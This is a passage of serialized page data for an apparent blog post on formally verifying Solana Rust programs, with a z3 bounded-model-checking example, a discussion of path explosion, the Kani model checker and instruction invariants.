100",{"type":23,"tag":314,"props":18376,"children":18377},{"style":338},[18378],{"type":28,"value":367},{"type":23,"tag":314,"props":18380,"children":18381},{"class":316,"line":1141},[18382,18387,18391,18395,18399,18403],{"type":23,"tag":314,"props":18383,"children":18384},{"style":338},[18385],{"type":28,"value":18386}," z ",{"type":23,"tag":314,"props":18388,"children":18389},{"style":354},[18390],{"type":28,"value":1102},{"type":23,"tag":314,"props":18392,"children":18393},{"style":338},[18394],{"type":28,"value":3769},{"type":23,"tag":314,"props":18396,"children":18397},{"style":354},[18398],{"type":28,"value":256},{"type":23,"tag":314,"props":18400,"children":18401},{"style":1054},[18402],{"type":28,"value":7189},{"type":23,"tag":314,"props":18404,"children":18405},{"style":338},[18406],{"type":28,"value":2278},{"type":23,"tag":314,"props":18408,"children":18409},{"class":316,"line":1173},[18410,18414,18418],{"type":23,"tag":314,"props":18411,"children":18412},{"style":338},[18413],{"type":28,"value":15020},{"type":23,"tag":314,"props":18415,"children":18416},{"style":2284},[18417],{"type":28,"value":2570},{"type":23,"tag":314,"props":18419,"children":18420},{"style":338},[18421],{"type":28,"value":1449},{"type":23,"tag":314,"props":18423,"children":18424},{"class":316,"line":1208},[18425,18429,18433,18437,18441,18445],{"type":23,"tag":314,"props":18426,"children":18427},{"style":338},[18428],{"type":28,"value":18386},{"type":23,"tag":314,"props":18430,"children":18431},{"style":354},[18432],{"type":28,"value":1102},{"type":23,"tag":314,"props":18434,"children":18435},{"style":338},[18436],{"type":28,"value":3769},{"type":23,"tag":314,"props":18438,"children":18439},{"style":354},[18440],{"type":28,"value":1130},{"type":23,"tag":314,"props":18442,"children":18443},{"style":1054},[18444],{"type":28,"value":3778},{"type":23,"tag":314,"props":18446,"children":18447},{"style":338},[18448],{"type":28,"value":2278},{"type":23,"tag":314,"props":18450,"children":18451},{"class":316,"line":1216},[18452],{"type":23,"tag":314,"props":18453,"children":18454},{"style":338},[18455],{"type":28,"value":2610},{"type":23,"tag":314,"props":18457,"children":18458},{"class":316,"line":1301},[18459],{"type":23,"tag":314,"props":18460,"children":18461},{"emptyLinePlaceholder":18},[18462],{"type":28,"value":1088},{"type":23,"tag":314,"props":18464,"children":18465},{"class":316,"line":1343},[18466],{"type":23,"tag":314,"props":18467,"children":18468},{"style":374},[18469],{"type":28,"value":18470}," // Property P:\n",{"type":23,"tag":314,"props":18472,"children":18473},{"class":316,"line":1351},[18474,18479,18484,18488,18493],{"type":23,"tag":314,"props":18475,"children":18476},{"style":332},[18477],{"type":28,"value":18478}," assert",{"type":23,"tag":314,"props":18480,"children":18481},{"style":338},[18482],{"type":28,"value":18483},"(z ",{"type":23,"tag":314,"props":18485,"children":18486},{"style":354},[18487],{"type":28,"value":1196},{"type":23,"tag":314,"props":18489,"children":18490},{"style":1054},[18491],{"type":28,"value":18492}," 105",{"type":23,"tag":314,"props":18494,"children":18495},{"style":338},[18496],{"type":28,"value":1025},{"type":23,"tag":314,"props":18498,"children":18499},{"class":316,"line":1387},[18500],{"type":23,"tag":314,"props":18501,"children":18502},{"style":338},[18503],{"type":28,"value":386},{"type":23,"tag":24,"props":18505,"children":18506},{},[18507,18509,18515,18517,18523],{"type":28,"value":18508},"This function takes an input ",{"type":23,"tag":94,"props":18510,"children":18512},{"className":18511},[],[18513],{"type":28,"value":18514},"x",{"type":28,"value":18516}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":94,"props":18518,"children":18520},{"className":18519},[],[18521],{"type":28,"value":18522},"z != 105",{"type":28,"value":282},{"type":23,"tag":24,"props":18525,"children":18526},{},[18527],{"type":28,"value":18528},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":24,"props":18530,"children":18531},{},[18532],{"type":28,"value":18533},"Positive branch:",{"type":23,"tag":304,"props":18535,"children":18537},{"code":18536,"language":308,"meta":7,"className":306,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[18538],{"type":23,"tag":94,"props":18539,"children":18540},{"__ignoreMap":7},[18541,18566,18582],{"type":23,"tag":314,"props":18542,"children":18543},{"class":316,"line":317},[18544,18549,18553,18557,18561],{"type":23,"tag":314,"props":18545,"children":18546},{"style":338},[18547],{"type":28,"value":18548},"y ",{"type":23,"tag":314,"props":18550,"children":18551},{"style":354},[18552],{"type":28,"value":7828},{"type":23,"tag":314,"props":18554,"children":18555},{"style":338},[18556],{"type":28,"value":18328},{"type":23,"tag":314,"props":18558,"children":18559},{"style":354},[18560],{"type":28,"value":1130},{"type":23,"tag":314,"props":18562,"children":18563},{"style":1054},[18564],{"type":28,"value":18565}," 3\n",{"type":23,"tag":314,"props":18567,"children":18568},{"class":316,"line":370},[18569,18573,18577],{"type":23,"tag":314,"props":18570,"children":18571},{"style":338},[18572],{"type":28,"value":18548},{"type":23,"tag":314,"props":18574,"children":18575},{"style":354},[18576],{"type":28,"value":9710},{"type":23,"tag":314,"props":18578,"children":18579},{"style":1054},[18580],{"type":28,"value":18581}," 100\n",{"type":23,"tag":314,"props":18583,"children":18584},{"class":316,"line":380},[18585,18590,18594,18598,18602],{"type":23,"tag":314,"props":18586,"children":18587},{"style":338},[18588],{"type":28,"value":18589},"z ",{"type":23,"tag":314,"props":18591,"children":18592},{"style":354},[18593],{"type":28,"value":7828},{"type":23,"tag":314,"props":18595,"children":18596},{"style":338},[18597],{"type":28,"value":3769},{"type":23,"tag":314,"props":18599,"children":18600},{"style":354},[18601],{"type":28,"value":256},{"type":23,"tag":314,"props":18603,"children":18604},{"style":1054},[18605],{"type":28,"value":18606}," 2\n",{"type":23,"tag":24,"props":18608,"children":18609},{},[18610],{"type":28,"value":18611},"Negative branch:",{"type":23,"tag":304,"props":18613,"children":18615},{"code":18614,"language":308,"meta":7,"className":306,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[18616],{"type":23,"tag":94,"props":18617,"children":18618},{"__ignoreMap":7},[18619,18642,18657],{"type":23,"tag":314,"props":18620,"children":18621},{"class":316,"line":317},[18622,18626,18630,18634,18638],{"type":23,"tag":314,"props":18623,"children":18624},{"style":338},[18625],{"type":28,"value":18548},{"type":23,"tag":314,"props":18627,"children":18628},{"style":354},[18629],{"type":28,"value":7828},{"type":23,"tag":314,"props":18631,"children":18632},{"style":338},[18633],{"type":28,"value":18328},{"type":23,"tag":314,"props":18635,"children":18636},{"style":354},[18637],{"type":28,"value":1130},{"type":23,"tag":314,"props":18639,"children":18640},{"style":1054},[18641],{"type":28,"value":18565},{"type":23,"tag":314,"props":18643,"children":18644},{"class":316,"line":370},[18645,18649,18653],{"type":23,"tag":314,"props":18646,"children":18647},{"style":338},[18648],{"type":28,"value":18548},{"type":23,"tag":314,"props":18650,"children":18651},{"style":354},[18652],{"type":28,"value":1165},{"type":23,"tag":314,"props":18654,"children":18655},{"style":1054},[18656],{"type":28,"value":18581},{"type":23,"tag":314,"props":18658,"children":18659},{"class":316,"line":380},[18660,18664,18668,18672,18676],{"type":23,"tag":314,"props":18661,"children":18662},{"style":338},[18663],{"type":28,"value":18589},{"type":23,"tag":314,"props":18665,"children":18666},{"style":354},[18667],{"type":28,"value":7828},{"type":23,"tag":314,"props":18669,"children":18670},{"style":338},[18671],{"type":28,"value":3769},{"type":23,"tag":314,"props":18673,"children":18674},{"style":354},[18675],{"type":28,"value":1130},{"type":23,"tag":314,"props":18677,"children":18678},{"style":1054},[18679],{"type":28,"value":18680}," 1\n",{"type":23,"tag":24,"props":18682,"children":18683},{},[18684,18686,18693],{"type":28,"value":18685},"Using the ",{"type":23,"tag":31,"props":18687,"children":18690},{"href":18688,"rel":18689},"https://github.com/Z3Prover/z3",[35],[18691],{"type":28,"value":18692},"z3",{"type":28,"value":18694}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":304,"props":18696,"children":18700},{"code":18697,"language":18698,"meta":7,"className":18699,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[18701],{"type":23,"tag":94,"props":18702,"children":18703},{"__ignoreMap":7},[18704,18727,18734,18759,18783,18807,18814,18822,18839,18867,18886,18914,18921,18929,18950,18968,18975,18983,18998,19025,19044,19071,19078,19085,19104],{"type":23,"tag":314,"props":18705,"children":18706},{"class":316,"line":317},[18707,18712,18717,18722],{"type":23,"tag":314,"props":18708,"children":18709},{"style":2284},[18710],{"type":28,"value":18711},"from",{"type":23,"tag":314,"props":18713,"children":18714},{"style":338},[18715],{"type":28,"value":18716}," z3 ",{"type":23,"tag":314,"props":18718,"children":18719},{"style":2284},[18720],{"type":28,"value":18721},"import",{"type":23,"tag":314,"props":18723,"children":18724},{"style":354},[18725],{"type":28,"value":18726}," *\n",{"type":23,"tag":314,"props":18728,"children":18729},{"class":316,"line":370},[18730],{"type":23,"tag":314,"props":18731,"children":18732},{"emptyLinePlaceholder":18},[18733],{"type":28,"value":1088},{"type":23,"tag":314,"props":18735,"children":18736},{"class":316,"line":380},[18737,18742,18746,18751,18755],{"type":23,"tag":314,"props":18738,"children":18739},{"style":338},[18740],{"type":28,"value":18741},"x ",{"type":23,"tag":314,"props":18743,"children":18744},{"style":354},[18745],{"type":28,"value":1102},{"type":23,"tag":314,"props":18747,"children":18748},{"style":338},[18749],{"type":28,"value":18750}," Int(",{"type":23,"tag":314,"props":18752,"children":18753},{"style":1245},[18754],{"type":28,"value":1293},{"type":23,"tag":314,"props":18756,"children":18757},{"style":338},[18758],{"type":28,"value":2414},{"type":23,"tag":314,"props":18760,"children":18761},{"class":316,"line":1091},[18762,18766,18770,18774,18779],{"type":23,"tag":314,"props":18763,"children":18764},{"style":338},[18765],{"type":28,"value":18548},{"type":23,"tag":314,"props":18767,"children":18768},{"style":354},[18769],{"type":28,"value":1102},{"type":23,"tag":314,"props":18771,"children":18772},{"style":338},[18773],{"type":28,"value":18750},{"type":23,"tag":314,"props":18775,"children":18776},{"style":1245},[18777],{"type":28,"value":18778},"'y'",{"type":23,"tag":314,"props":18780,"children":18781},{"style":338},[18782],{"type":28,"value":2414},{"type":23,"tag":314,"props":18784,"children":18785},{"class":316,"line":1141},[18786,18790,18794,18798,18803],{"type":23,"tag":314,"props":18787,"children":18788},{"style":338},[18789],{"type":28,"value":18589},{"type":23,"tag":314,"props":18791,"children":18792},{"style":354},[18793],{"type":28,"value":1102},{"type":23,"tag":314,"props":18795,"children":18796},{"style":338},[18797],{"type":28,"value":18750},{"type":23,"tag":314,"props":18799,"children":18800},{"style":1245},[18801],{"type":28,"value":18802},"'z'",{"type":23,"tag":314,"props":18804,"children":18805},{"style":338},[18806],{"type":28,"value":2414},{"type":23,"tag":314,"props":18808,"children":18809},{"class":316,"line":1173},[18810],{"type":23,"tag":314,"props":18811,"children":18812},{"emptyLinePlaceholder":18},[18813],{"type":28,"value":1088},{"type":23,"tag":314,"props":18815,"children":18816},{"class":316,"line":1208},[18817],{"type":23,"tag":314,"props":18818,"children":18819},{"style":374},[18820],{"type":28,"value":18821},"# Positive branch:\n",{"type":23,"tag":314,"props":18823,"children":18824},{"class":316,"line":1216},[18825,18830,18834],{"type":23,"tag":314,"props":18826,"children":18827},{"style":338},[18828],{"type":28,"value":18829},"s ",{"type":23,"tag":314,"props":18831,"children":18832},{"style":354},[18833],{"type":28,"value":1102},{"type":23,"tag":314,"props":18835,"children":18836},{"style":338},[18837],{"type":28,"value":18838}," Solver()\n",{"type":23,"tag":314,"props":18840,"children":18841},{"class":316,"line":1301},[18842,18847,18851,18855,18859,18863],{"type":23,"tag":314,"props":18843,"children":18844},{"style":338},[18845],{"type":28,"value":18846},"s.add(y ",{"type":23,"tag":314,"props":18848,"children":18849},{"style":354},[18850],{"type":28,"value":7828},{"type":23,"tag":314,"props":18852,"children":18853},{"style":338},[18854],{"type":28,"value":18328},{"type":23,"tag":314,"props":18856,"children":18857},{"style":354},[18858],{"type":28,"value":1130},{"type":23,"tag":314,"props":18860,"children":18861},{"style":1054},[18862],{"type":28,"value":18337},{"type":23,"tag":314,"props":18864,"children":18865},{"style":338},[18866],{"type":28,"value":2414},{"type":23,"tag":314,"props":18868,"children":18869},{"class":316,"line":1343},[18870,18874,18878,18882],{"type":23,"tag":314,"props":18871,"children":18872},{"style":338},[18873],{"type":28,"value":18846},{"type":23,"tag":314,"props":18875,"children":18876},{"style":354},[18877],{"type":28,"value":9710},{"type":23,"tag":314,"props":18879,"children":18880},{"style":1054},[18881],{"type":28,"value":18374},{"type":23,"tag":314,"props":18883,"children":18884},{"style":338},[18885],{"type":28,"value":2414},{"type":23,"tag":314,"props":18887,"children":18888},{"class":316,"line":1351},[18889,18894,18898,18902,18906,18910],{"type":23,"tag":314,"props":18890,"children":18891},{"style":338},[18892],{"type":28,"value":18893},"s.add(z ",{"type":23,"tag":314,"props":18895,"children":18896},{"style":354},[18897],{"type":28,"value":7828},{"type":23,"tag":314,"props":18899,"children":18900},{"style":338},[18901],{"type":28,"value":3769},{"type":23,"tag":314,"props":18903,"children":18904},{"style":354},[18905],{"type":28,"value":256},{"type":23,"tag":314,"props":18907,"children":18908},{"style":1054},[18909],{"type":28,"value":7189},{"type":23,"tag":314,"props":18911,"children":18912},{"style":338},[18913],{"type":28,"value":2414},{"type":23,"tag":314,"props":18915,"children":18916},{"class":316,"line":1387},[18917],{"type":23,"tag":314,"props":18918,"children":18919},{"emptyLinePlaceholder":18},[18920],{"type":28,"value":1088},{"type":23,"tag":314,"props":18922,"children":18923},{"class":316,"line":1422},[18924],{"type":23,"tag":314,"props":18925,"children":18926},{"style":374},[18927],{"type":28,"value":18928},"# check if we can violate the correctness property\n",{"type":23,"tag":314,"props":18930,"children":18931},{"class":316,"line":1430},[18932,18937,18941,18945],{"type":23,"tag":314,"props":18933,"children":18934},{"style":338},[18935],{"type":28,"value":18936},"s.add(Not(z ",{"type":23,"tag":314,"props":18938,"children":18939},{"style":354},[18940],{"type":28,"value":1196},{"type":23,"tag":314,"props":18942,"children":18943},{"style":1054},[18944],{"type":28,"value":18492},{"type":23,"tag":314,"props":18946,"children":18947},{"style":338},[18948],{"type":28,"value":18949},"))\n",{"type":23,"tag":314,"props":18951,"children":18952},{"class":316,"line":1452},[18953,18958,18963],{"type":23,"tag":314,"props":18954,"children":18955},{"style":332},[18956],{"type":28,"value":18957},"print",{"type":23,"tag":314,"props":18959,"children":18960},{"style":338},[18961],{"type":28,"value":18962},"(s.check()) ",{"type":23,"tag":314,"props":18964,"children":18965},{"style":374},[18966],{"type":28,"value":18967},"# \"unsat\"\n",{"type":23,"tag":314,"props":18969,"children":18970},{"class":316,"line":1497},[18971],{"type":23,"tag":314,"props":18972,"children":18973},{"emptyLinePlaceholder":18},[18974],{"type":28,"value":1088},{"type":23,"tag":314,"props":18976,"children":18977},{"class":316,"line":1539},[18978],{"type":23,"tag":314,"props":18979,"children":18980},{"style":374},[18981],{"type":28,"value":18982},"# Negative branch:\n",{"type":23,"tag":314,"props":18984,"children":18985},{"class":316,"line":1548},[18986,18990,18994],{"type":23,"tag":314,"props":18987,"children":18988},{"style":338},[18989],{"type":28,"value":18829},{"type":23,"tag":314,"props":18991,"children":18992},{"style":354},[18993],{"type":28,"value":1102},{"type":23,"tag":314,"props":18995,"children":18996},{"style":338},[18997],{"type":28,"value":18838},{"type":23,"tag":314,"props":18999,"children":19000},{"class":316,"line":1584},[19001,19005,19009,19013,19017,19021],{"type":23,"tag":314,"props":19002,"children":19003},{"style":338},[19004],{"type":28,"value":18846},{"type":23,"tag":314,"props":19006,"children":19007},{"style":354},[19008],{"type":28,"value":7828},{"type":23,"tag":314,"props":19010,"children":19011},{"style":338},[19012],{"type":28,"value":18328},{"type":23,"tag":314,"props":19014,"children":19015},{"style":354},[19016],{"type":28,"value":1130},{"type":23,"tag":314,"props":19018,"children":19019},{"style":1054},[19020],{"type":28,"value":18337},{"type":23,"tag":314,"props":19022,"children":19023},{"style":338},[19024],{"type":28,"value":2414},{"type":23,"tag":314,"props":19026,"children":19027},{"class":316,"line":1617},[19028,19032,19036,19040],{"type":23,"tag":314,"props":19029,"children":19030},{"style":338},[19031],{"type":28,"value":18846},{"type":23,"tag":314,"props":19033,"children":19034},{"style":354},[19035],{"type":28,"value":1165},{"type":23,"tag":314,"props":19037,"children":19038},{"style":1054},[19039],{"type":28,"value":18374},{"type":23,"tag":314,"props":19041,"children":19042},{"style":338},[19043],{"type":28,"value":2414},{"type":23,"tag":314,"props":19045,"children":19046},{"class":316,"line":1625},[19047,19051,19055,19059,19063,19067],{"type":23,"tag":314,"props":19048,"children":19049},{"style":338},[19050],{"type":28,"value":18893},{"type":23,"tag":314,"props":19052,"children":19053},{"style":354},[19054],{"type":28,"value":7828},{"type":23,"tag":314,"props":19056,"children":19057},{"style":338},[19058],{"type":28,"value":3769},{"type":23,"tag":314,"props":19060,"children":19061},{"style":354},[19062],{"type":28,"value":1130},{"type":23,"tag":314,"props":19064,"children":19065},{"style":1054},[19066],{"type":28,"value":3778},{"type":23,"tag":314,"props":19068,"children":19069},{"style":338},[19070],{"type":28,"value":2414},{"type":23,"tag":314,"props":19072,"children":19073},{"class":316,"line":1660},[19074],{"type":23,"tag":314,"props":19075,"children":19076},{"emptyLinePlaceholder":18},[19077],{"type":28,"value":1088},{"type":23,"tag":314,"props":19079,"children":19080},{"class":316,"line":1708},[19081],{"type":23,"tag":314,"props":19082,"children":19083},{"style":374},[19084],{"type":28,"value":18928},{"type":23,"tag":314,"props":19086,"children":19087},{"class":316,"line":1743},[19088,19092,19096,19100],{"type":23,"tag":314,"props":19089,"children":19090},{"style":338},[19091],{"type":28,"value":18936},{"type":23,"tag":314,"props":19093,"children":19094},{"style":354},[19095],{"type":28,"value":1196},{"type":23,"tag":314,"props":19097,"children":19098},{"style":1054},[19099],{"type":28,"value":18492},{"type":23,"tag":314,"props":19101,"children":19102},{"style":338},[19103],{"type":28,"value":18949},{"type":23,"tag":314,"props":19105,"children":19106},{"class":316,"line":1751},[19107,19111,19115],{"type":23,"tag":314,"props":19108,"children":19109},{"style":332},[19110],{"type":28,"value":18957},{"type":23,"tag":314,"props":19112,"children":19113},{"style":338},[19114],{"type":28,"value":18962},{"type":23,"tag":314,"props":19116,"children":19117},{"style":374},[19118],{"type":28,"value":18967},{"type":23,"tag":24,"props":19120,"children":19121},{},[19122,19124,19130,19132,19137],{"type":28,"value":19123},"Both of these cases return ",{"type":23,"tag":94,"props":19125,"children":19127},{"className":19126},[],[19128],{"type":28,"value":19129},"unsat",{"type":28,"value":19131}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":186,"props":19133,"children":19134},{},[19135],{"type":28,"value":19136},"correct",{"type":28,"value":19138}," according to this property.",{"type":23,"tag":837,"props":19140,"children":19142},{"id":19141},"loop-bounds-path-explosion",[19143],{"type":28,"value":19144},"Loop bounds & path explosion",{"type":23,"tag":24,"props":19146,"children":19147},{},[19148,19150,19155,19157,19162],{"type":28,"value":19149},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":186,"props":19151,"children":19152},{},[19153],{"type":28,"value":19154},"every",{"type":28,"value":19156}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":186,"props":19158,"children":19159},{},[19160],{"type":28,"value":19161},"infinite",{"type":28,"value":19163}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":24,"props":19165,"children":19166},{},[19167],{"type":28,"value":19168},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":24,"props":19170,"children":19171},{},[19172],{"type":28,"value":19173},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":24,"props":19175,"children":19176},{},[19177],{"type":28,"value":19178},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":837,"props":19180,"children":19182},{"id":19181},"kani-model-checker",[19183],{"type":28,"value":19184},"Kani Model Checker",{"type":23,"tag":24,"props":19186,"children":19187},{},[19188,19190,19195],{"type":28,"value":19189},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":31,"props":19191,"children":19193},{"href":18084,"rel":19192},[35],[19194],{"type":28,"value":18088},{"type":28,"value":19196},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":24,"props":19198,"children":19199},{},[19200,19202,19207,19209,19215,19216,19222,19224,19230],{"type":28,"value":19201},"Kani allows you to write ",{"type":23,"tag":186,"props":19203,"children":19204},{},[19205],{"type":28,"value":19206},"proof harnesses",{"type":28,"value":19208}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":94,"props":19210,"children":19212},{"className":19211},[],[19213],{"type":28,"value":19214},"assume",{"type":28,"value":557},{"type":23,"tag":94,"props":19217,"children":19219},{"className":19218},[],[19220],{"type":28,"value":19221},"assert",{"type":28,"value":19223}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":94,"props":19225,"children":19227},{"className":19226},[],[19228],{"type":28,"value":19229},"cargo kani",{"type":28,"value":19231}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":61,"props":19233,"children":19235},{"id":19234},"specification-how-can-we-describe-what-we-want-our-program-to-do",[19236,19238,19242],{"type":28,"value":19237},"Specification: How can we describe what we ",{"type":23,"tag":186,"props":19239,"children":19240},{},[19241],{"type":28,"value":18158},{"type":28,"value":18160},{"type":23,"tag":24,"props":19244,"children":19245},{},[19246],{"type":23,"tag":186,"props":19247,"children":19248},{},[19249],{"type":23,"tag":721,"props":19250,"children":19251},{},[19252],{"type":28,"value":19253},"And what even do we want it to do?",{"type":23,"tag":24,"props":19255,"children":19256},{},[19257,19259,19264],{"type":28,"value":19258},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":186,"props":19260,"children":19261},{},[19262],{"type":28,"value":19263},"specifying",{"type":28,"value":19265}," what the \"correct\" behavior should be.",{"type":23,"tag":24,"props":19267,"children":19268},{},[19269],{"type":28,"value":19270},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":127,"props":19272,"children":19273},{},[19274,19286,19298],{"type":23,"tag":88,"props":19275,"children":19276},{},[19277,19279,19284],{"type":28,"value":19278},"\"It should not be possible to ",{"type":23,"tag":721,"props":19280,"children":19281},{},[19282],{"type":28,"value":19283},"steal money",{"type":28,"value":19285}," via a swap program\"",{"type":23,"tag":88,"props":19287,"children":19288},{},[19289,19291,19296],{"type":28,"value":19290},"\"A multisig should never get into a state where you ",{"type":23,"tag":721,"props":19292,"children":19293},{},[19294],{"type":28,"value":19295},"can't sign anything",{"type":28,"value":19297},"\"",{"type":23,"tag":88,"props":19299,"children":19300},{},[19301],{"type":28,"value":19302},"\"User funds in a staking protocol \"",{"type":23,"tag":24,"props":19304,"children":19305},{},[19306,19308,19318,19320,19325],{"type":28,"value":19307},"These are types of properties you can tell your ",{"type":23,"tag":31,"props":19309,"children":19312},{"href":19310,"rel":19311},"https://osec.io/",[35],[19313],{"type":23,"tag":186,"props":19314,"children":19315},{},[19316],{"type":28,"value":19317},"human auditors",{"type":28,"value":19319}," but these English phrases are not particularly useful for ",{"type":23,"tag":186,"props":19321,"children":19322},{},[19323],{"type":28,"value":19324},"automated verification techniques",{"type":28,"value":19326}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":24,"props":19328,"children":19329},{},[19330,19332,19337,19339,19344],{"type":28,"value":19331},"Instead, we need to be able to specify ",{"type":23,"tag":186,"props":19333,"children":19334},{},[19335],{"type":28,"value":19336},"in code",{"type":28,"value":19338}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":94,"props":19340,"children":19342},{"className":19341},[],[19343],{"type":28,"value":19221},{"type":28,"value":19345}," statement.",{"type":23,"tag":837,"props":19347,"children":19349},{"id":19348},"solana-invariants",[19350],{"type":28,"value":19351},"Solana Invariants",{"type":23,"tag":24,"props":19353,"children":19354},{},[19355,19357,19362,19363,19368],{"type":28,"value":19356},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":721,"props":19358,"children":19359},{},[19360],{"type":28,"value":19361},"instruction invariants",{"type":28,"value":557},{"type":23,"tag":721,"props":19364,"children":19365},{},[19366],{"type":28,"value":19367},"account invariants",{"type":28,"value":282},{"type":23,"tag":18130,"props":19370,"children":19372},{"id":19371},"instruction-invariant",[19373],{"type":28,"value":19374},"Instruction Invariant",{"type":23,"tag":24,"props":19376,"children":19377},{},[19378,19380,19385,19387,19393,19394,19400],{"type":28,"value":19379},"An ",{"type":23,"tag":721,"props":19381,"children":19382},{},[19383],{"type":28,"value":19384},"instruction invariant",{"type":28,"value":19386}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":94,"props":19388,"children":19390},{"className":19389},[],[19391],{"type":28,"value":19392},"succeeds_if",{"type":28,"value":515},{"type":23,"tag":94,"props":19395,"children":19397},{"className":19396},[],[19398],{"type":28,"value":19399},"errors_if",{"type":28,"value":19401}," macro annotations on the instruction handler.",{"type":23,"tag":24,"props":19403,"children":19404},{},[19405],{"type":28,"value":19406},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":24,"props":19408,"children":19409},{},[19410,19412,19418,19420,19425],{"type":28,"value":19411},"For example, say we have a ",{"type":23,"tag":94,"props":19413,"children":19415},{"className":19414},[],[19416],{"type":28,"value":19417},"Withdraw",{"type":28,"value":19419}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":186,"props":19421,"children":19422},{},[19423],{"type":28,"value":19424},"more",{"type":28,"value":19426}," tokens than their current balance.",{"type":23,"tag":24,"props":19428,"children":19429},{},[19430,19432,19437],{"type":28,"value":19431},"Using our tool, you could specify the following ",{"type":23,"tag":94,"props":19433,"children":19435},{"className":19434},[],[19436],{"type":28,"value":19399},{"type":28,"value":19438}," property on your instruction handler:",{"type":23,"tag":304,"props":19440,"children":19442},{"code":19441,"language":2233,"meta":7,"className":2234,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[19443],{"type":23,"tag":94,"props":19444,"children":19445},{"__ignoreMap":7},[19446,19454,19489,19497,19570,19578],{"type":23,"tag":314,"props":19447,"children":19448},{"class":316,"line":317},[19449],{"type":23,"tag":314,"props":19450,"children":19451},{"style":338},[19452],{"type":28,"value":19453},"#[errors_if(\n",{"type":23,"tag":314,"props":19455,"children":19456},{"class":316,"line":370},[19457,19462,19466,19471,19475,19480,19484],{"type":23,"tag":314,"props":19458,"children":19459},{"style":338},[19460],{"type":28,"value":19461}," ctx",{"type":23,"tag":314,"props":19463,"children":19464},{"style":354},[19465],{"type":28,"value":282},{"type":23,"tag":314,"props":19467,"children":19468},{"style":338},[19469],{"type":28,"value":19470},"user",{"type":23,"tag":314,"props":19472,"children":19473},{"style":354},[19474],{"type":28,"value":282},{"type":23,"tag":314,"props":19476,"children":19477},{"style":338},[19478],{"type":28,"value":19479},"balance ",{"type":23,"tag":314,"props":19481,"children":19482},{"style":354},[19483],{"type":28,"value":5060},{"type":23,"tag":314,"props":19485,"children":19486},{"style":338},[19487],{"type":28,"value":19488}," amount\n",{"type":23,"tag":314,"props":19490,"children":19491},{"class":316,"line":380},[19492],{"type":23,"tag":314,"props":19493,"children":19494},{"style":338},[19495],{"type":28,"value":19496},")]\n",{"type":23,"tag":314,"props":19498,"children":19499},{"class":316,"line":1091},[19500,19505,19510,19514,19519,19523,19528,19532,19536,19540,19545,19549,19553,19557,19561,19565],{"type":23,"tag":314,"props":19501,"children":19502},{"style":321},[19503],{"type":28,"value":19504},"fn",{"type":23,"tag":314,"props":19506,"children":19507},{"style":332},[19508],{"type":28,"value":19509}," withdraw",{"type":23,"tag":314,"props":19511,"children":19512},{"style":338},[19513],{"type":28,"value":341},{"type":23,"tag":314,"props":19515,"children":19516},{"style":360},[19517],{"type":28,"value":19518},"ctx",{"type":23,"tag":314,"props":19520,"children":19521},{"style":354},[19522],{"type":28,"value":3746},{"type":23,"tag":314,"props":19524,"children":19525},{"style":2674},[19526],{"type":28,"value":19527}," 